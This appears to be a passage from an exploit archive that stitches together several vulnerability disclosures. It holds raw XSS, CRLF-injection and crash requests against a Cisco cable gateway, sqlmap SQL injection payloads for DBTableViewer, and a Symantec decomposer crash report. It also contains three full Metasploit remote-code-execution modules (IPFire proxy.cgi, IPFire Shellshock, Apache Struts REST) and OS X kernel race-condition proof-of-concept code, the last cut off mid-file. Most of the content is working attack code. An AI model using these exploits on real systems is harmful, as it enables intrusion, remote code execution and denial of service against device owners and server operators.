<html lang="en"><head><title>RELOAD</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><script language="javascript" type="text/javascript" src="../active.js"></script><script language="javascript" type="text/javascript" src="../lang.js"></script><script language="javascript" type="text/javascript">var totaltime=120;function time(){document.formnow.hh.value=(" "+totaltime+" Seconds ");totaltime--;} function refreshStatus(){window.setTimeout("window.parent.location.href='http://192.168.1.1'",totaltime*1000);}mytime=setInterval('time()',1000);</script></head><body BGCOLOR="#CCCCCC" TEXT=black><form name="formnow"><HR><h1><script language="javascript" type="text/javascript">dw(msg_goform34);</script><a href="http://192.168.1.1/index.asp"><script language="javascript" type="text/javascript">dw(msg_goform35);</script></a><script language="javascript">refreshStatus();</script><input type="text" name="hh" style="background-color:#CCCCCC;font-size:36;border:none"></h1></form></body></html>

#2 - Clear logs request:
POST /goform/Docsis_log HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/Docsis_log.asp
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

BtnClearLog=Clear+Log&SnmpClearEventLog=0

#2 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.1.1/Docsis_log.asp
Content-type: text/html
Connection: close



- Gateway Stored and Reflective Cross Site Scripting

Example #1:

#1 – Stored XSS via username change request:
POST /goform/Administration HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/Administration.asp
Cookie: Lang=en; SessionID=2719880
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 165

working_mode=0&sysname=<script>alert('XSS')</script>&sysPasswd=home&sysConfirmPasswd=home&save=Save+Settings&preWorkingMode=1&h_wlan_enable=enable&h_user_type=common

#1 – Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.1.1/Administration.asp
Content-type: text/html
Connection: close


#2 – Redirect request:
GET /Administration.asp HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/Administration.asp
Cookie: Lang=en; SessionID=2719880
DNT: 1
Connection: keep-alive

#2 – Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 15832

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">
<head>
(...)
<tr>
<td>
<script language="javascript" type="text/javascript">dw(usertype);</script>
</td>
<td nowrap>
<script>alert('XSS')</script>
</TD>
</tr>
<tr>
(...)


Example #2:

#1 – Reflected XSS via client list request:
POST /goform/WClientMACList HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 192.168.1.1/WClientMACList.asp
Cookie: Lang=en; SessionID=109660
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

sortWireless=mac&h_sortWireless=mac" onmouseover=alert(1) x="y

#1 – Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: 192.168.1.1/WClientMACList.asp
Content-type: text/html
Connection: close
#2 – Redirect request:
GET /WClientMACList.asp HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 192.168.1.1/WClientMACList.asp
Cookie: Lang=en; SessionID=109660
Connection: keep-alive

#2 – Reponse:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 7385

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">
<head>
(...)
</table>
</div>
<input type="hidden" name="h_sortWireless" value="mac" onmouseover=alert(1) x="y" />
</form>
</body>
</html>
(...)



- Gateway Client List Denial of Service

Device will crash after sending following request.

# HTTP Request
POST /goform/WClientMACList HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/WClientMACList.asp
Cookie: Lang=en; SessionID=109660
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

sortWireless=mac&h_sortWireless=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX



- Gateway HTTP Corruption Denial of Service

Device will crash after sending following request.

# HTTP Request
POST /goform/Docsis_system HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/Docsis_system.asp
Cookie: Lang=en; SessionID=348080
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 106

username_login=&password_login=&LanguageSelect=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&Language_Submit=0&login=Log+In



- "Stored" HTTP Response Injection

It is able to inject additional HTTP data to response, if string parameter of LanguageSelect won't be too long (in that case device will crash).
Additional data will be stored in device memory and returned with every http response on port 80 until reboot.

devil@hell:~$ curl -gi http://192.168.1.1/ -s | head -10
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 1469

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">

devil@hell:~$ curl --data "username_login=&password_login=&LanguageSelect=en%0d%0aSet-Cookie: w00t&Language_Submit=0&login=Log+In" http://192.168.1.1/goform/Docsis_system -s > /dev/null

devil@hell:~$ curl -gi http://192.168.1.1/ -s | head -10
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Set-Cookie: Lang=en
Set-Cookie: w00t
Set-Cookie: SessionID=657670
Content-Length: 1469



- Boot Information Disclosure

In early booting phase, for a short period of time some administrator functions can be executed, and it is able to extract device configuration file. We wrote an exploit that crash the modem, and then retrieve and decode config in order to obtain users credentials.

Exploit video PoC: https://www.youtube.com/watch?v=PHSx0s7Turo


========

CVE References:
CVE-2015-6401
CVE-2015-6402
CVE-2016-1328
CVE-2016-1336
CVE-2016-1337

Cisco Bug ID’s:
CSCux24935
CSCux24938
CSCux24941
CSCux24948
CSCuy28100
CSCux17178

Read more on our blog:
http://secorda.com/multiple-security-vulnerabilities-affecting-cisco-epc3928/
            
Drale DBTableViewer v100123 - Blind SQL Injection

# Exploit Title: drale DBTableViewer - SQL Injection(Blind/Error Base)
# Date: 2016-06-08
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://drale.com/
# Software Link: https://github.com/drale/DBTableViewer/archive/master.zip
# Version: Drale DBTableViewer v100123
# Tested on: Debian [wheezy]
# CVE : none

### VULNERABILITY
"orderby" parameter in DBTableViewer is vulnerable.
This parameter can be performed using blind injection.

### SQLMAP QUERY
#> sqlm -u "http://127.0.0.1/vul_test/DBTableViewer/?orderby=nice_name&sort=DESC" --level 4 --risk 3 --dbms=mysql

### SQLMAP OUTPUT
sqlmap identified the following injection points with a total of 727 HTTP(s) requests:
---
Parameter: orderby (GET)
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: orderby=nice_name RLIKE (SELECT (CASE WHEN (1697=1697) THEN 0x6e6963655f6e616d65 ELSE 0x28 END))&sort=DESC

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)
    Payload: orderby=nice_name AND EXTRACTVALUE(6590,CONCAT(0x5c,0x7162766a71,(SELECT (CASE WHEN (6590=6590) THEN 1 ELSE 0 END)),0x71787a7671))&sort=DESC

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0 time-based blind - Parameter replace
    Payload: orderby=(SELECT (CASE WHEN (6082=6082) THEN SLEEP(5) ELSE 6082*(SELECT 6082 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&sort=DESC
---
[12:03:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.1
....

[12:07:33] [INFO] retrieved: zoph
[12:07:33] [INFO] retrieved: zzzz
available databases [25]:
[*] "
[*] ""
[*] '
[*] ''
[*] '''
[*] api
[*] blackcat
[*] edusec
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=821

A major component of the Symantec Antivirus scan engine is the "Decomposer", responsible for unpacking various archive formats such as ZIP, RAR, and so on. The decomposer runs as NT AUTHORITY\SYSTEM on Windows, and root on Linux and Mac. Simple fuzzing of zip archives discovered missing bounds checks in the routine ALPkOldFormatDecompressor::UnShrink, used to decode Zip archives. 

The routine uses a 16bit value read from the file to index a 256 element array without any bounds checking, the attached testcase should demonstrate this reliably. I have verified this on the following products:

    Norton Antivirus, Windows
    Symantec Endpoint Protection, Linux and Windows
    Symantec Scan Engine, Linux and Windows


(534.700): Access violation - code c0000005 (!!! second chance !!!)
eax=00003000 ebx=00003000 ecx=00003000 edx=00002000 esi=16adeb58 edi=16ad8b1b
eip=6ba47ec3 esp=16ad6af0 ebp=16adeb20 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
ccScanw!filelengthi64+0x3af63:
6ba47ec3 66399445fcbfffff cmp     word ptr [ebp+eax*2-4004h],dx ss:002b:16ae0b1c=????
0:071> ub
ccScanw!filelengthi64+0x3af3f:
6ba47e9f 8bb5ec7fffff    mov     esi,dword ptr [ebp-8014h]
6ba47ea5 8bc7            mov     eax,edi
6ba47ea7 8985e07fffff    mov     dword ptr [ebp-8020h],eax
6ba47ead e96d010000      jmp     ccScanw!filelengthi64+0x3b0bf (6ba4801f)
6ba47eb2 0fbfc3          movsx   eax,bx
6ba47eb5 ba00200000      mov     edx,2000h
6ba47eba 8dbdfb9fffff    lea     edi,[ebp-6005h]
6ba47ec0 0fb7cb          movzx   ecx,bx
0:071> lmv m ccScanw
start    end        module name
6b930000 6bb5f000   ccScanw    (export symbols)       C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll
    Loaded symbol image file: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll
    Image path: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll
    Image name: ccScanw.dll
    Timestamp:        Tue Jan 26 13:51:55 2016 (56A7EA7B)
    CheckSum:         0022B3ED
    ImageSize:        0022F000
    File version:     13.1.2.19
    Product version:  13.1.2.19
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Symantec Corporation
    ProductName:      Symantec Security Technologies
    InternalName:     ccScan
    OriginalFilename: CCSCAN.DLL
    ProductVersion:   13.1.2.19
    FileVersion:      13.1.2.19
    FileDescription:  Symantec Scan Engine
    LegalCopyright:   Copyright (c) 2015 Symantec Corporation. All rights reserved.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40036.zip
            
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => 'IPFire proxy.cgi RCE',
        'Description' => %q(
          IPFire, a free linux based open source firewall distribution,
          version < 2.19 Update Core 101 contains a remote command execution
          vulnerability in the proxy.cgi page.
        ),
        'Author'      =>
          [
            'h00die <mike@stcyrsecurity.com>', # module
            'Yann CAM'                         # discovery
          ],
        'References'  =>
          [
            [ 'EDB', '39765' ],
            [ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => 'unix',
        'Privileged'     => false,
        'DefaultOptions' => { 'SSL' => true },
        'Arch'           => [ ARCH_CMD ],
        'Payload'        =>
          {
            'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'perl awk openssl'
              }
          },
        'Targets'        =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => 'May 04 2016'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
        Opt::RPORT(444)
      ], self.class
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri'       => '/cgi-bin/pakfire.cgi',
        'method'    => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
      /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body

      if version && update && version == "2.19" && update.to_i < 101
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  def exploit
    begin
      # To manually view the vuln page, click to proxy.cgi.  At the bottom
      # select Local, and save. Ignore the error box, at the bottom of
      # the page click the button: User Management.

      payload_formatted = "||#{payload.encoded};#"
      post_data =  "NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}"
      post_data << "&NCSA_GROUP=standard"
      post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"
      post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"
      post_data << "&SUBMIT=Create+user"
      post_data << "&ACTION=Add"
      post_data << "&NCSA_MIN_PASS_LEN=6"

      res = send_request_cgi(
        'uri'           => '/cgi-bin/proxy.cgi',
        'method'        => 'POST',
        'ctype'         => 'application/x-www-form-urlencoded',
        'headers'       =>
          {
            'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"
          },
        'data'          => post_data
      )

      # success means we hang our session, and wont get back a response
      if res
        fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
        fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
      end

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end
            
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'          => 'IPFire Bash Environment Variable Injection (Shellshock)',
        'Description'   => %q(
          IPFire, a free linux based open source firewall distribution,
          version <= 2.15 Update Core 82 contains an authenticated remote
          command execution vulnerability via shellshock in the request headers.
        ),
        'Author'         =>
          [
            'h00die <mike@stcyrsecurity.com>', # module
            'Claudio Viviani'                  # discovery
          ],
        'References'     =>
          [
            [ 'EDB', '34839' ],
            [ 'CVE', '2014-6271']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => %w( linux unix ),
        'Privileged'     => false,
        'DefaultOptions' =>
          {
            'SSL' => true,
            'PAYLOAD' => 'cmd/unix/generic'
          },
        'Arch'           => ARCH_CMD,
        'Payload'        =>
          {
            'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'generic'
              }
          },
        'Targets'        =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => 'Sep 29 2014'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
        Opt::RPORT(444)
      ], self.class
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri'       => '/cgi-bin/index.cgi',
        'method'    => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
      /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body

      if version && update && version == "2.15" && update.to_i < 83
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  #
  # CVE-2014-6271
  #
  def cve_2014_6271(cmd)
    %{() { :;}; /bin/bash -c "#{cmd}" }
  end

  def exploit
    begin
      payload = cve_2014_6271(datastore['CMD'])
      vprint_status("Exploiting with payload: #{payload}")
      res = send_request_cgi(
        'uri'       => '/cgi-bin/index.cgi',
        'method'    => 'GET',
        'headers'   => { 'VULN' => payload }
      )

      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
      /<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
      print_good(output) unless output.nil?

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
        Execution can be performed when using REST Plugin with ! operator when
        Dynamic Method Invocation is enabled.
      },
      'Author'         => [
        'Nixawk' # original metasploit module
       ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2016-3087' ],
          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
        ],
      'Platform'      => %w{ java linux win },
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
      'DisclosureDate' => 'Jun 01 2016',
      'DefaultTarget' => 2))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
        OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
      ], self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def get_target_platform
    target.platform.platforms.first
  end

  def temp_path
    @TMPPATH ||= lambda {
      path = datastore['TMPPATH']
      return nil unless path

      case get_target_platform
      when Msf::Module::Platform::Windows
        slash = '\\'
      when
        slash = '/'
      else
      end

      unless path.end_with?('/')
        path << '/'
      end
      return path
    }.call
  end

  def send_http_request(payload, params_hash)
    uri = normalize_uri(datastore['TARGETURI'])
    uri = "#{uri}/#{payload}"
    resp = send_request_cgi(
      'uri'     => uri,
      'version' => '1.1',
      'method'  => 'POST',
      'vars_post' => params_hash
    )
    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def generate_rce_payload(code)
    payload = ""
    payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
    payload << ","
    payload << Rex::Text.uri_encode(code)
    payload << ","
    payload << Rex::Text.uri_encode("#xx.toString.json")
    payload << "?"
    payload << Rex::Text.uri_encode("#xx:#request.toString")
    payload
  end

  def upload_exec(cmd, filename, content)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)
    var_e = rand_text_alpha_lower(4)
    var_f = rand_text_alpha_lower(4)

    code =  "##{var_a}=new sun.misc.BASE64Decoder(),"
    code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
    code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
    code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
    code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
    payload = generate_rce_payload(code)

    params_hash = {
      var_d => Rex::Text.encode_base64(cmd),
      var_e => Rex::Text.encode_base64(filename),
      var_f => content
    }
    send_http_request(payload, params_hash)
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two
    flag = Rex::Text.rand_text_alpha(5)

    code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.close()"

    payload = generate_rce_payload(code)
    params_hash = { var_b => flag }

    begin
      resp = send_http_request(payload, params_hash)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    case target['Platform']
      when 'java'
        payload_exe = "#{temp_path}#{payload_exe}.jar"
        pl_exe = payload.encoded_jar.pack
        command = "java -jar #{payload_exe}"
      when 'linux'
        path = datastore['TMPPATH'] || '/tmp/'
        pl_exe = generate_payload_exe
        payload_exe = "#{path}#{payload_exe}"
        command = "/bin/sh -c #{payload_exe}"
      when 'win'
        path = temp_path || '.\\'
        pl_exe = generate_payload_exe
        payload_exe = "#{path}#{payload_exe}.exe"
        command = "cmd.exe /c #{payload_exe}"
      else
        fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    pl_content = pl_exe.unpack('H*').join()

    print_status("Uploading exploit to #{payload_exe}, and executing it.")
    upload_exec(command, payload_exe, pl_content)

    handler
  end

end
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=784

The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.

We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

// ianbeer

// clang -o nv_command_queue_race nv_command_queue_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in nvCommandQueue::GetHandleIndex in GeForce.kext

The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.

We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0x100; // GetHandleData
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc() {
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("nvAccelerator", 9); //nvCommandQueue
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for (;;) {
    poc();
  }

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=783

The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)

We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

// ianbeer

// clang -o mux_control_race mux_control_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in AppleMuxControl.kext

The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)

We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

